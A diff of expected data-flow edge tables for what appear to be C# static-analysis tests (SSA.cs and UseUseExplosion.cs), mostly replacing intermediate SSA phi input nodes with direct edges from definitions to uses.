-| SSA.cs:110:9:110:32 | SSA phi(nonSink3) | SSA.cs:110:23:110:30 | access to local variable nonSink3 |
+| SSA.cs:106:17:106:29 | [input] SSA phi read(nonSink0) | SSA.cs:130:39:130:46 | access to local variable nonSink0 |
+| SSA.cs:106:17:106:29 | [input] SSA phi read(nonTainted) | SSA.cs:115:13:115:22 | access to parameter nonTainted |
+| SSA.cs:106:21:106:28 | [post] access to local variable nonSink3 | SSA.cs:110:23:110:30 | access to local variable nonSink3 |
+| SSA.cs:106:21:106:28 | access to local variable nonSink3 | SSA.cs:110:23:110:30 | access to local variable nonSink3 |
+| SSA.cs:108:17:108:29 | [input] SSA phi read(nonSink0) | SSA.cs:130:39:130:46 | access to local variable nonSink0 |
+| SSA.cs:108:17:108:29 | [input] SSA phi read(nonTainted) | SSA.cs:115:13:115:22 | access to parameter nonTainted |
+| SSA.cs:108:21:108:28 | [post] access to local variable nonSink3 | SSA.cs:110:23:110:30 | access to local variable nonSink3 |
+| SSA.cs:108:21:108:28 | access to local variable nonSink3 | SSA.cs:110:23:110:30 | access to local variable nonSink3 |
 | SSA.cs:110:23:110:30 | SSA def(nonSink3) | SSA.cs:111:15:111:22 | access to local variable nonSink3 |
 | SSA.cs:110:23:110:30 | [post] access to local variable nonSink3 | SSA.cs:110:23:110:30 | SSA def(nonSink3) |
 | SSA.cs:110:23:110:30 | access to local variable nonSink3 | SSA.cs:110:23:110:30 | SSA def(nonSink3) |
@@ -826,15 +790,14 @@
 | SSA.cs:114:9:114:14 | access to field S | SSA.cs:115:13:115:33 | [input] SSA phi read(this.S) |
 | SSA.cs:114:9:114:14 | access to field S | SSA.cs:117:13:117:18 | access to field S |
 | SSA.cs:114:9:114:28 | access to field SsaFieldSink1 | SSA.cs:114:9:114:33 | SSA def(this.S.SsaFieldSink1) |
-| SSA.cs:114:9:114:33 | SSA def(this.S.SsaFieldSink1) | SSA.cs:115:13:115:33 | [input] SSA phi(this.S.SsaFieldSink1) |
+| SSA.cs:114:9:114:33 | SSA def(this.S.SsaFieldSink1) | SSA.cs:123:23:123:28 | SSA qualifier def(this.S.SsaFieldSink1) |
 | SSA.cs:114:32:114:33 | "" | SSA.cs:114:9:114:28 | access to field SsaFieldSink1 |
 | SSA.cs:115:13:115:22 | [post] access to parameter nonTainted | SSA.cs:115:13:115:33 | [input] SSA phi read(nonTainted) |
 | SSA.cs:115:13:115:22 | [post] access to parameter nonTainted | SSA.cs:118:17:118:26 | access to parameter nonTainted |
 | SSA.cs:115:13:115:22 | access to parameter nonTainted | SSA.cs:115:13:115:33 | [input] SSA phi read(nonTainted) |
 | SSA.cs:115:13:115:22 | access to parameter nonTainted | SSA.cs:118:17:118:26 | access to parameter nonTainted |
-| SSA.cs:115:13:115:33 | [input] SSA phi read(nonTainted) | SSA.cs:123:9:123:30 | SSA phi read(nonTainted) |
-| SSA.cs:115:13:115:33 | [input] SSA phi read(this.S) | SSA.cs:123:9:123:30 | SSA phi read(this.S) |
-| SSA.cs:115:13:115:33 | [input] SSA phi(this.S.SsaFieldSink1) | SSA.cs:123:9:123:30 | SSA phi(this.S.SsaFieldSink1) |
+| SSA.cs:115:13:115:33 | [input] SSA phi read(nonTainted) | SSA.cs:128:13:128:22 | access to parameter nonTainted |
+| SSA.cs:115:13:115:33 | [input] SSA phi read(this.S) | SSA.cs:123:23:123:28 | access to field S |
 | SSA.cs:117:13:117:16 | [post] this access | SSA.cs:119:21:119:24 | this access |
 | SSA.cs:117:13:117:16 | [post] this access | SSA.cs:121:21:121:24 | this access |
 | SSA.cs:117:13:117:16 | this access | SSA.cs:119:21:119:24 | this access |
@@ -851,27 +814,20 @@
 | SSA.cs:118:17:118:26 | [post] access to parameter nonTainted | SSA.cs:121:17:121:41 | [input] SSA phi read(nonTainted) |
 | SSA.cs:118:17:118:26 | access to parameter nonTainted | SSA.cs:119:17:119:41 | [input] SSA phi read(nonTainted) |
 | SSA.cs:118:17:118:26 | access to parameter nonTainted | SSA.cs:121:17:121:41 | [input] SSA phi read(nonTainted) |
-| SSA.cs:119:17:119:41 | [input] SSA phi read(nonTainted) | SSA.cs:123:9:123:30 | SSA phi read(nonTainted) |
-| SSA.cs:119:17:119:41 | [input] SSA phi read(this.S) | SSA.cs:123:9:123:30 | SSA phi read(this.S) |
-| SSA.cs:119:17:119:41 | [input] SSA phi(this.S.SsaFieldSink1) | SSA.cs:123:9:123:30 | SSA phi(this.S.SsaFieldSink1) |
+| SSA.cs:119:17:119:41 | [input] SSA phi read(nonTainted) | SSA.cs:128:13:128:22 | access to parameter nonTainted |
 | SSA.cs:119:21:119:24 | [post] this access | SSA.cs:123:23:123:26 | this access |
 | SSA.cs:119:21:119:24 | this access | SSA.cs:123:23:123:26 | this access |
-| SSA.cs:119:21:119:26 | [post] access to field S | SSA.cs:119:17:119:41 | [input] SSA phi read(this.S) |
-| SSA.cs:119:21:119:26 | access to field S | SSA.cs:119:17:119:41 | [input] SSA phi read(this.S) |
-| SSA.cs:119:21:119:40 | [post] access to field SsaFieldSink1 | SSA.cs:119:17:119:41 | [input] SSA phi(this.S.SsaFieldSink1) |
-| SSA.cs:119:21:119:40 | access to field SsaFieldSink1 | SSA.cs:119:17:119:41 | [input] SSA phi(this.S.SsaFieldSink1) |
-| SSA.cs:121:17:121:41 | [input] SSA phi read(nonTainted) | SSA.cs:123:9:123:30 | SSA phi read(nonTainted) |
-| SSA.cs:121:17:121:41 | [input] SSA phi read(this.S) | SSA.cs:123:9:123:30 | SSA phi read(this.S) |
-| SSA.cs:121:17:121:41 | [input] SSA phi(this.S.SsaFieldSink1) | SSA.cs:123:9:123:30 | SSA phi(this.S.SsaFieldSink1) |
+| SSA.cs:119:21:119:26 | [post] access to field S | SSA.cs:123:23:123:28 | access to field S |
+| SSA.cs:119:21:119:26 | access to field S | SSA.cs:123:23:123:28 | access to field S |
+| SSA.cs:119:21:119:40 | [post] access to field SsaFieldSink1 | SSA.cs:123:23:123:28 | SSA qualifier def(this.S.SsaFieldSink1) |
+| SSA.cs:119:21:119:40 | access to field SsaFieldSink1 | SSA.cs:123:23:123:28 | SSA qualifier def(this.S.SsaFieldSink1) |
+| SSA.cs:121:17:121:41 | [input] SSA phi read(nonTainted) | SSA.cs:128:13:128:22 | access to parameter nonTainted |
 | SSA.cs:121:21:121:24 | [post] this access | SSA.cs:123:23:123:26 | this access |
 | SSA.cs:121:21:121:24 | this access | SSA.cs:123:23:123:26 | this access |
-| SSA.cs:121:21:121:26 | [post] access to field S | SSA.cs:121:17:121:41 | [input] SSA phi read(this.S) |
-| SSA.cs:121:21:121:26 | access to field S | SSA.cs:121:17:121:41 | [input] SSA phi read(this.S) |
-| SSA.cs:121:21:121:40 | [post] access to field SsaFieldSink1 | SSA.cs:121:17:121:41 | [input] SSA phi(this.S.SsaFieldSink1) |
-| SSA.cs:121:21:121:40 | access to field SsaFieldSink1 | SSA.cs:121:17:121:41 | [input] SSA phi(this.S.SsaFieldSink1) |
-| SSA.cs:123:9:123:30 | SSA phi read(nonTainted) | SSA.cs:128:13:128:22 | access to parameter nonTainted |
-| SSA.cs:123:9:123:30 | SSA phi read(this.S) | SSA.cs:123:23:123:28 | access to field S |
-| SSA.cs:123:9:123:30 | SSA phi(this.S.SsaFieldSink1) | SSA.cs:123:23:123:28 | SSA qualifier def(this.S.SsaFieldSink1) |
+| SSA.cs:121:21:121:26 | [post] access to field S | SSA.cs:123:23:123:28 | access to field S |
+| SSA.cs:121:21:121:26 | access to field S | SSA.cs:123:23:123:28 | access to field S |
+| SSA.cs:121:21:121:40 | [post] access to field SsaFieldSink1 | SSA.cs:123:23:123:28 | SSA qualifier def(this.S.SsaFieldSink1) |
+| SSA.cs:121:21:121:40 | access to field SsaFieldSink1 | SSA.cs:123:23:123:28 | SSA qualifier def(this.S.SsaFieldSink1) |
 | SSA.cs:123:23:123:26 | [post] this access | SSA.cs:124:15:124:18 | this access |
 | SSA.cs:123:23:123:26 | this access | SSA.cs:124:15:124:18 | this access |
 | SSA.cs:123:23:123:28 | SSA def(this.S) | SSA.cs:124:15:124:20 | access to field S |
@@ -892,12 +848,11 @@
 | SSA.cs:127:9:127:14 | access to field S | SSA.cs:128:13:128:33 | [input] SSA phi read(this.S) |
 | SSA.cs:127:9:127:14 | access to field S | SSA.cs:130:13:130:18 | access to field S |
 | SSA.cs:127:9:127:31 | access to field SsaFieldNonSink0 | SSA.cs:127:9:127:36 | SSA def(this.S.SsaFieldNonSink0) |
-| SSA.cs:127:9:127:36 | SSA def(this.S.SsaFieldNonSink0) | SSA.cs:128:13:128:33 | [input] SSA phi(this.S.SsaFieldNonSink0) |
+| SSA.cs:127:9:127:36 | SSA def(this.S.SsaFieldNonSink0) | SSA.cs:136:23:136:28 | SSA qualifier def(this.S.SsaFieldNonSink0) |
 | SSA.cs:127:35:127:36 | "" | SSA.cs:127:9:127:31 | access to field SsaFieldNonSink0 |
 | SSA.cs:128:13:128:22 | [post] access to parameter nonTainted | SSA.cs:131:17:131:26 | access to parameter nonTainted |
 | SSA.cs:128:13:128:22 | access to parameter nonTainted | SSA.cs:131:17:131:26 | access to parameter nonTainted |
-| SSA.cs:128:13:128:33 | [input] SSA phi read(this.S) | SSA.cs:136:9:136:30 | SSA phi read(this.S) |
-| SSA.cs:128:13:128:33 | [input] SSA phi(this.S.SsaFieldNonSink0) | SSA.cs:136:9:136:30 | SSA phi(this.S.SsaFieldNonSink0) |
+| SSA.cs:128:13:128:33 | [input] SSA phi read(this.S) | SSA.cs:136:23:136:28 | access to field S |
 | SSA.cs:130:13:130:16 | [post] this access | SSA.cs:132:21:132:24 | this access |
 | SSA.cs:130:13:130:16 | [post] this access | SSA.cs:134:21:134:24 | this access |
 | SSA.cs:130:13:130:16 | this access | SSA.cs:132:21:132:24 | this access |
@@ -910,24 +865,18 @@
 | SSA.cs:130:13:130:46 | SSA def(this.S.SsaFieldNonSink0) | SSA.cs:132:21:132:43 | access to field SsaFieldNonSink0 |
 | SSA.cs:130:13:130:46 | SSA def(this.S.SsaFieldNonSink0) | SSA.cs:134:21:134:43 | access to field SsaFieldNonSink0 |
 | SSA.cs:130:39:130:46 | access to local variable nonSink0 | SSA.cs:130:13:130:35 | access to field SsaFieldNonSink0 |
-| SSA.cs:132:17:132:44 | [input] SSA phi read(this.S) | SSA.cs:136:9:136:30 | SSA phi read(this.S) |
-| SSA.cs:132:17:132:44 | [input] SSA phi(this.S.SsaFieldNonSink0) | SSA.cs:136:9:136:30 | SSA phi(this.S.SsaFieldNonSink0) |
 | SSA.cs:132:21:132:24 | [post] this access | SSA.cs:136:23:136:26 | this access |
 | SSA.cs:132:21:132:24 | this access | SSA.cs:136:23:136:26 | this access |
-| SSA.cs:132:21:132:26 | [post] access to field S | SSA.cs:132:17:132:44 | [input] SSA phi read(this.S) |
-| SSA.cs:132:21:132:26 | access to field S | SSA.cs:132:17:132:44 | [input] SSA phi read(this.S) |
-| SSA.cs:132:21:132:43 | [post] access to field SsaFieldNonSink0 | SSA.cs:132:17:132:44 | [input] SSA phi(this.S.SsaFieldNonSink0) |
-| SSA.cs:132:21:132:43 | access to field SsaFieldNonSink0 | SSA.cs:132:17:132:44 | [input] SSA phi(this.S.SsaFieldNonSink0) |
-| SSA.cs:134:17:134:44 | [input] SSA phi read(this.S) | SSA.cs:136:9:136:30 | SSA phi read(this.S) |
-| SSA.cs:134:17:134:44 | [input] SSA phi(this.S.SsaFieldNonSink0) | SSA.cs:136:9:136:30 | SSA phi(this.S.SsaFieldNonSink0) |
+| SSA.cs:132:21:132:26 | [post] access to field S | SSA.cs:136:23:136:28 | access to field S |
+| SSA.cs:132:21:132:26 | access to field S | SSA.cs:136:23:136:28 | access to field S |
+| SSA.cs:132:21:132:43 | [post] access to field SsaFieldNonSink0 | SSA.cs:136:23:136:28 | SSA qualifier def(this.S.SsaFieldNonSink0) |
+| SSA.cs:132:21:132:43 | access to field SsaFieldNonSink0 | SSA.cs:136:23:136:28 | SSA qualifier def(this.S.SsaFieldNonSink0) |
 | SSA.cs:134:21:134:24 | [post] this access | SSA.cs:136:23:136:26 | this access |
 | SSA.cs:134:21:134:24 | this access | SSA.cs:136:23:136:26 | this access |
-| SSA.cs:134:21:134:26 | [post] access to field S | SSA.cs:134:17:134:44 | [input] SSA phi read(this.S) |
-| SSA.cs:134:21:134:26 | access to field S | SSA.cs:134:17:134:44 | [input] SSA phi read(this.S) |
-| SSA.cs:134:21:134:43 | [post] access to field SsaFieldNonSink0 | SSA.cs:134:17:134:44 | [input] SSA phi(this.S.SsaFieldNonSink0) |
-| SSA.cs:134:21:134:43 | access to field SsaFieldNonSink0 | SSA.cs:134:17:134:44 | [input] SSA phi(this.S.SsaFieldNonSink0) |
-| SSA.cs:136:9:136:30 | SSA phi read(this.S) | SSA.cs:136:23:136:28 | access to field S |
-| SSA.cs:136:9:136:30 | SSA phi(this.S.SsaFieldNonSink0) | SSA.cs:136:23:136:28 | SSA qualifier def(this.S.SsaFieldNonSink0) |
+| SSA.cs:134:21:134:26 | [post] access to field S | SSA.cs:136:23:136:28 | access to field S |
+| SSA.cs:134:21:134:26 | access to field S | SSA.cs:136:23:136:28 | access to field S |
+| SSA.cs:134:21:134:43 | [post] access to field SsaFieldNonSink0 | SSA.cs:136:23:136:28 | SSA qualifier def(this.S.SsaFieldNonSink0) |
+| SSA.cs:134:21:134:43 | access to field SsaFieldNonSink0 | SSA.cs:136:23:136:28 | SSA qualifier def(this.S.SsaFieldNonSink0) |
 | SSA.cs:136:23:136:26 | [post] this access | SSA.cs:137:15:137:18 | this access |
 | SSA.cs:136:23:136:26 | this access | SSA.cs:137:15:137:18 | this access |
 | SSA.cs:136:23:136:28 | SSA def(this.S) | SSA.cs:137:15:137:20 | access to field S |
@@ -940,12 +889,10 @@
 | SSA.cs:146:13:146:13 | access to parameter t | SSA.cs:146:13:146:13 | (...) ... |
 | SSA.cs:146:13:146:13 | access to parameter t | SSA.cs:149:17:149:17 | access to parameter t |
 | SSA.cs:147:13:147:13 | access to parameter t | SSA.cs:147:13:147:26 | SSA def(t) |
-| SSA.cs:147:13:147:26 | SSA def(t) | SSA.cs:147:13:147:26 | [input] SSA phi(t) |
-| SSA.cs:147:13:147:26 | [input] SSA phi(t) | SSA.cs:144:17:144:26 | SSA phi(t) |
+| SSA.cs:147:13:147:26 | SSA def(t) | SSA.cs:144:17:144:26 | SSA phi(t) |
 | SSA.cs:147:17:147:26 | default(...) | SSA.cs:147:13:147:13 | access to parameter t |
 | SSA.cs:149:13:149:13 | access to parameter t | SSA.cs:149:13:149:17 | SSA def(t) |
-| SSA.cs:149:13:149:17 | SSA def(t) | SSA.cs:149:13:149:17 | [input] SSA phi(t) |
-| SSA.cs:149:13:149:17 | [input] SSA phi(t) | SSA.cs:144:17:144:26 | SSA phi(t) |
+| SSA.cs:149:13:149:17 | SSA def(t) | SSA.cs:144:17:144:26 | SSA phi(t) |
 | SSA.cs:149:17:149:17 | access to parameter t | SSA.cs:149:13:149:13 | access to parameter t |
 | SSA.cs:152:36:152:36 | SSA param(t) | SSA.cs:154:13:154:13 | access to parameter t |
 | SSA.cs:152:36:152:36 | t | SSA.cs:152:36:152:36 | SSA param(t) |
@@ -953,8 +900,7 @@
 | SSA.cs:154:13:154:13 | access to parameter t | SSA.cs:154:13:154:21 | [input] SSA phi(t) |
 | SSA.cs:154:13:154:13 | access to parameter t | SSA.cs:155:25:155:25 | access to parameter t |
 | SSA.cs:154:13:154:21 | [input] SSA phi(t) | SSA.cs:152:17:152:28 | SSA phi(t) |
-| SSA.cs:155:13:155:26 | [input] SSA phi(t) | SSA.cs:152:17:152:28 | SSA phi(t) |
-| SSA.cs:155:25:155:25 | SSA def(t) | SSA.cs:155:13:155:26 | [input] SSA phi(t) |
+| SSA.cs:155:25:155:25 | SSA def(t) | SSA.cs:152:17:152:28 | SSA phi(t) |
 | SSA.cs:155:25:155:25 | access to parameter t | SSA.cs:155:25:155:25 | SSA def(t) |
 | SSA.cs:166:10:166:13 | this | SSA.cs:166:19:166:22 | this access |
 | SSA.cs:166:28:166:31 | null | SSA.cs:166:19:166:24 | access to field S |
@@ -963,29 +909,22 @@
 | SSA.cs:168:35:168:35 | SSA param(i) | SSA.cs:171:13:171:13 | access to parameter i |
 | SSA.cs:168:35:168:35 | i | SSA.cs:168:35:168:35 | SSA param(i) |
 | SSA.cs:170:16:170:23 | access to local variable ssaSink5 | SSA.cs:170:16:170:28 | SSA def(ssaSink5) |
-| SSA.cs:170:16:170:28 | SSA def(ssaSink5) | SSA.cs:171:13:171:19 | [input] SSA phi(ssaSink5) |
+| SSA.cs:170:16:170:28 | SSA def(ssaSink5) | SSA.cs:180:15:180:22 | access to local variable ssaSink5 |
 | SSA.cs:170:27:170:28 | "" | SSA.cs:170:16:170:23 | access to local variable ssaSink5 |
 | SSA.cs:171:13:171:13 | access to parameter i | SSA.cs:171:13:171:15 | SSA def(i) |
-| SSA.cs:171:13:171:15 | SSA def(i) | SSA.cs:174:13:178:13 | [input] SSA phi(i) |
-| SSA.cs:171:13:171:19 | [input] SSA phi(ssaSink5) | SSA.cs:180:9:180:24 | SSA phi(ssaSink5) |
+| SSA.cs:171:13:171:15 | SSA def(i) | SSA.cs:174:20:174:20 | access to parameter i |
 | SSA.cs:173:13:173:20 | access to local variable ssaSink5 | SSA.cs:173:13:173:30 | SSA def(ssaSink5) |
-| SSA.cs:173:13:173:30 | SSA def(ssaSink5) | SSA.cs:174:13:178:13 | [input] SSA phi read(ssaSink5) |
+| SSA.cs:173:13:173:30 | SSA def(ssaSink5) | SSA.cs:174:20:174:20 | SSA phi read(ssaSink5) |
 | SSA.cs:173:24:173:30 | access to parameter tainted | SSA.cs:173:13:173:20 | access to local variable ssaSink5 |
-| SSA.cs:174:13:178:13 | [input] SSA phi read(ssaSink5) | SSA.cs:174:20:174:20 | SSA phi read(ssaSink5) |
-| SSA.cs:174:13:178:13 | [input] SSA phi(i) | SSA.cs:174:20:174:20 | SSA phi(i) |
 | SSA.cs:174:20:174:20 | SSA phi read(ssaSink5) | SSA.cs:174:20:174:26 | [input] SSA phi(ssaSink5) |
 | SSA.cs:174:20:174:20 | SSA phi read(ssaSink5) | SSA.cs:176:21:176:28 | access to local variable ssaSink5 |
-| SSA.cs:174:20:174:20 | SSA phi(i) | SSA.cs:174:20:174:20 | access to parameter i |
 | SSA.cs:174:20:174:20 | access to parameter i | SSA.cs:174:20:174:22 | SSA def(i) |
-| SSA.cs:174:20:174:22 | SSA def(i) | SSA.cs:177:17:177:29 | [input] SSA phi(i) |
-| SSA.cs:174:20:174:26 | [input] SSA phi(ssaSink5) | SSA.cs:180:9:180:24 | SSA phi(ssaSink5) |
+| SSA.cs:174:20:174:22 | SSA def(i) | SSA.cs:174:20:174:20 | access to parameter i |
+| SSA.cs:174:20:174:26 | [input] SSA phi(ssaSink5) | SSA.cs:180:15:180:22 | access to local variable ssaSink5 |
 | SSA.cs:176:21:176:28 | [post] access to local variable ssaSink5 | SSA.cs:177:21:177:28 | access to local variable ssaSink5 |
 | SSA.cs:176:21:176:28 | access to local variable ssaSink5 | SSA.cs:177:21:177:28 | access to local variable ssaSink5 |
-| SSA.cs:177:17:177:29 | [input] SSA phi read(ssaSink5) | SSA.cs:174:20:174:20 | SSA phi read(ssaSink5) |
-| SSA.cs:177:17:177:29 | [input] SSA phi(i) | SSA.cs:174:20:174:20 | SSA phi(i) |
-| SSA.cs:177:21:177:28 | [post] access to local variable ssaSink5 | SSA.cs:177:17:177:29 | [input] SSA phi read(ssaSink5) |
-| SSA.cs:177:21:177:28 | access to local variable ssaSink5 | SSA.cs:177:17:177:29 | [input] SSA phi read(ssaSink5) |
-| SSA.cs:180:9:180:24 | SSA phi(ssaSink5) | SSA.cs:180:15:180:22 | access to local variable ssaSink5 |
+| SSA.cs:177:21:177:28 | [post] access to local variable ssaSink5 | SSA.cs:174:20:174:20 | SSA phi read(ssaSink5) |
+| SSA.cs:177:21:177:28 | access to local variable ssaSink5 | SSA.cs:174:20:174:20 | SSA phi read(ssaSink5) |
 | Splitting.cs:3:18:3:18 | SSA param(b) | Splitting.cs:6:13:6:13 | access to parameter b |
 | Splitting.cs:3:18:3:18 | b | Splitting.cs:3:18:3:18 | SSA param(b) |
 | Splitting.cs:3:28:3:34 | SSA param(tainted) | Splitting.cs:5:17:5:23 | access to parameter tainted |
@@ -1805,509 +1744,408 @@
 | UseUseExplosion.cs:24:1689:24:1692 | access to property Prop | UseUseExplosion.cs:24:1708:24:1713 | [input] SSA phi read(this.Prop) |
 | UseUseExplosion.cs:24:1689:24:1692 | this access | UseUseExplosion.cs:24:1708:24:1713 | this access |
 | UseUseExplosion.cs:24:1689:24:1692 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1699:24:1701 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
+| UseUseExplosion.cs:24:1699:24:1701 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1699:24:1701 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
-| UseUseExplosion.cs:24:1708:24:1713 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1708:24:1713 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1708:24:1713 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1708:24:1713 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1708:24:1713 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1712:24:1712 | access to local variable x | UseUseExplosion.cs:24:1708:24:1713 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1723:24:1728 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1723:24:1728 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1712:24:1712 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1723:24:1728 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1723:24:1728 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1723:24:1728 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1727:24:1727 | access to local variable x | UseUseExplosion.cs:24:1723:24:1728 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1738:24:1743 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1738:24:1743 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1727:24:1727 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1738:24:1743 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1738:24:1743 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1738:24:1743 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1742:24:1742 | access to local variable x | UseUseExplosion.cs:24:1738:24:1743 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1753:24:1758 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1753:24:1758 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1742:24:1742 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1753:24:1758 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1753:24:1758 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1753:24:1758 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1757:24:1757 | access to local variable x | UseUseExplosion.cs:24:1753:24:1758 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1768:24:1773 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1768:24:1773 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1757:24:1757 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1768:24:1773 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1768:24:1773 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1768:24:1773 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1772:24:1772 | access to local variable x | UseUseExplosion.cs:24:1768:24:1773 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1783:24:1788 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1783:24:1788 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1772:24:1772 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1783:24:1788 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1783:24:1788 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1783:24:1788 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1787:24:1787 | access to local variable x | UseUseExplosion.cs:24:1783:24:1788 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1798:24:1803 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1798:24:1803 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1787:24:1787 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1798:24:1803 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1798:24:1803 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1798:24:1803 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1802:24:1802 | access to local variable x | UseUseExplosion.cs:24:1798:24:1803 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1813:24:1818 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1813:24:1818 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1802:24:1802 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1813:24:1818 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1813:24:1818 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1813:24:1818 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1817:24:1817 | access to local variable x | UseUseExplosion.cs:24:1813:24:1818 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1828:24:1833 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1828:24:1833 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1817:24:1817 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1828:24:1833 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1828:24:1833 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1828:24:1833 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1832:24:1832 | access to local variable x | UseUseExplosion.cs:24:1828:24:1833 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1843:24:1848 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1843:24:1848 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
